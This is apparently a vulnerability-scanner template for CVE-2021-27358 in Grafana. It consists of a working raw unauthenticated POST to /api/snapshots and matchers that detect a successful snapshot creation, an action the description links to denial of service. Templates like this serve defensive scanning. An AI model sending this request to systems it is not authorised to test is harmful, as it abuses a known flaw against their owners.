id: CVE-2021-27358 info: author: pdteam name: Grafana unauthenticated snapshot creation severity: high description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set. reference: - https://phabricator.wikimedia.org/T274736 - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/ - https://nvd.nist.gov/vuln/detail/CVE-2021-27358 tags: cve,cve2021,grafana,unauth requests: - raw: - | POST /api/snapshots HTTP/1.1 Host: {{Hostname}} Accept: application/json Content-Type: application/json {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600} matchers-condition: and matchers: - part: body type: word words: - '"deleteUrl":' - '"deleteKey":' condition: and - type: word part: header words: - "application/json"